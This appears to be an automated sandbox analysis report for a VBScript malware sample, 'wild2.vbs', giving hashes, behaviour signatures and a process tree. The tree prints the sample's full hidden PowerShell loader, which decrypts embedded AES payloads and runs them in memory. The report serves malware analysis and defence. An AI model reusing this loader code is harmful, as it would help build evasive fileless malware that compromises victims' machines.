09ebaac81c2816aae61095e019924152b15c1504b0f2f6b512c4230b72268bf8

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
03/07/2024, 20:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wild2.vbs
Size 136KB
Sample240703-yr1essxcnd
SHA256 e28bdb40c41bbadef5a3413c02773f291db42e0523c7aa6d4f93a03b3aa7959a
MD5 2fc8fa386eac2b756ca56d6c5ea5972a
SHA1 5e8701a6f9ff44f141f14e43a6b612b82b23aeb1
SHA512 531876ffe3a10729b60dbb45161bb6e73e14be00d174aedb0afcc4689c57e9f8b5cc147eefb25f002f62540c0748c0fb183bea3d90f525a7f688bf8ef3c9894a
SSDEEP 3072:UUtmc9S9K7G4yC0oab3a1adGNRLfE28rHRq8QDEQ0SkhbPxFIWW:UUwT4ygabaEGNRHkHDQDD0NRW
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 2028	1936	WScript.exe	28
PID 1936 wrote to memory of 2028	1936	WScript.exe	28
PID 1936 wrote to memory of 2028	1936	WScript.exe	28
PID 2028 wrote to memory of 2456	2028	cmd.exe	30
PID 2028 wrote to memory of 2456	2028	cmd.exe	30
PID 2028 wrote to memory of 2456	2028	cmd.exe	30
PID 2028 wrote to memory of 2468	2028	cmd.exe	31
PID 2028 wrote to memory of 2468	2028	cmd.exe	31
PID 2028 wrote to memory of 2468	2028	cmd.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\wild2.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Roaming\dropped.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ugGNW2NnPvk9adSUBcDc96/inp4cdhLsP4c8Xr7rMvA='); $aes_var.IV=[System.Convert]::FromBase64String('GuK3QAh6wjXaE/OXIlyZUw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ikyRS=New-Object System.IO.MemoryStream(,$param_var); $tIvxd=New-Object System.IO.MemoryStream; $uIXwv=New-Object System.IO.Compression.GZipStream($ikyRS, [IO.Compression.CompressionMode]::Decompress); $uIXwv.CopyTo($tIvxd); $uIXwv.Dispose(); $ikyRS.Dispose(); $tIvxd.Dispose(); $tIvxd.ToArray();}function execute_function($param_var,$param2_var){ $kiXtP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $zdYbv=$kiXtP.EntryPoint; $zdYbv.Invoke($null, $param2_var);}$dTbxL = 'C:\Users\Admin\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $dTbxL;$cGnsR=[System.IO.File]::ReadAllText($dTbxL).Split([Environment]::NewLine);foreach ($QrlnJ in $cGnsR) { if ($QrlnJ.StartsWith('oJuhxRvpkzgxXdlXhMuO')) { $JHuZc=$QrlnJ.Substring(20); break; }}$payloads_var=[string[]]$JHuZc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
    3⤵
    PID:2456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dropped.bat

Path C:\Users\Admin\AppData\Roaming\dropped.bat
Size 101KB
SHA256 be7e5d1cccf5602cbe866ce6f342bd960263f3cd08a75d149372af37fa2a50b1
MD5 e770f53921bca6b9d02faf3e70059249
SHA1 fb04530ec135f2a34afd3bdf0c205193418812b6
SHA512 f970fab83358451a7cb158d4377defa35188996b1f2005a90e1fe0e747db65424366efcc847c133919395310536348bc795caef3161a21b70b2b0cd16566ec86
SSDEEP 1536:CU0FylDssLU15+DBP69S05+VvGvwJBHDj74ayd2qn6aFghDqWQPMlx:FjlDs+U15+dS9S0oVO+lDdIfNFg8zMx
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2468-6-0x0000000002D30000-0x0000000002DB0000-memory.dmp

Download

memory/2468-7-0x000000001B480000-0x000000001B762000-memory.dmp

Download

memory/2468-8-0x0000000002410000-0x0000000002418000-memory.dmp

Download

memory/2468-9-0x0000000002D30000-0x0000000002DB0000-memory.dmp

Download